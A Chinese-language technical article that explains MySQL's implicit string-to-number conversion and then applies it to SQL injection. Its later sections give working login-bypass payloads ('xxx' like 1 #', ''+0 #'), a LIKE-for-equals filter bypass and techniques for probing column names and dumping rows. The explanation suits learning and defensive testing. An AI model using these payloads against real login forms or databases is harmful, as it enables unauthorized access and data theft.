目录
初探
有一天突然发现Mysql中一个有趣的现象:
百思不得其解,想着是不是由于mysql的字符串转化数字的原因,于是试验了一下:
自动将字符串类型的"123"转为数字型的123,然后与1相加。
下面试验了数字与字符串掺杂的情况:
直接将首位的1给转化了,其余的字符串则忽略掉。
但若不是以字符串为开头则会失败,字符串"te1st2"、"test"转化数字失败则会返回0,与1相加刚好为1:
真相渐现
通过上述试验得出结论:
当字符串与数字比较、相加时,字符串会自动转化为数字。
若字符串以数字开头,则会转化为该开头的数字;否则会转化失败,返回0
于是由下表简单地呈现:
原始语句 | 过程释义 | 结果 | 备注 |
select "test" = 1; | select 0 = 1; | 0 (False) | "test"转化失败,返回0 |
select "test" = 0; | select 0 = 0; | 1 (True) | "test"转化失败返回0,与0比较相等 |
值得一提的是,
- 当等号两边都为字符串的时候,字符串不会转化为数字:
但是可以通过+0来强制转化类型:
- 当在字符串与数字使用like进行比较时,若字符串不是纯数字,则不会进行转化
纯数字就可以:
但可以使用%通配符:
延伸到SQL注入
通过上述的 select "test" = 0; 为True的原理,可以引申到SQL注入中。
字符串列数据提取
前提条件是字段值要类似于"test"的字符串类型才可以:
当waf拦截等号(=)时,也可以用 like 关键字进行绕过:
like的优先级大于=,上述语句等价于:
select * from users where username = (1 like "2");
判断列名是否存在
简单的,我们知道 "" like "123" 为0:
同样可以以永真的条件列出所有数据:
当"123"用某个列的值来替代的时候,就可以判断某个列是否存在:
若列名存在,还可以通过赋值来排查某一行数据:
新型万能密码
由于登录处的username为字符串类型,且 "xxx" like 1 为 0,所以构造之后就相当于: "xxx" = 0 ==> Ture
原始语句 | 过程释义 | 结果 | 备注 |
select * from users where username = "xxx" like 1; | 1. select * from users where username = 0; 2. select * from users where True; | 1 (True) | 1. "xxx" like 1 返回 0 2. "xxx"转化失败返回0,与上一步的0比较相等返回1(Ture) |
不需要知道真实用户名,直接以True永真条件登录:
xxx' like 1 #
当拦截关键字like时,可以直接用跳过like来注入:
'+0 #
原始语句 | 过程释义 | 结果 | 备注 |
select * from users where username = "xxx" + 0; | 1. select * from users where username = 0; 2. select * from users where True; | 1 (True) | 1. "xxx"+0, "xxx"转化失败返回0 2. 与上一步的0比较相等返回1 |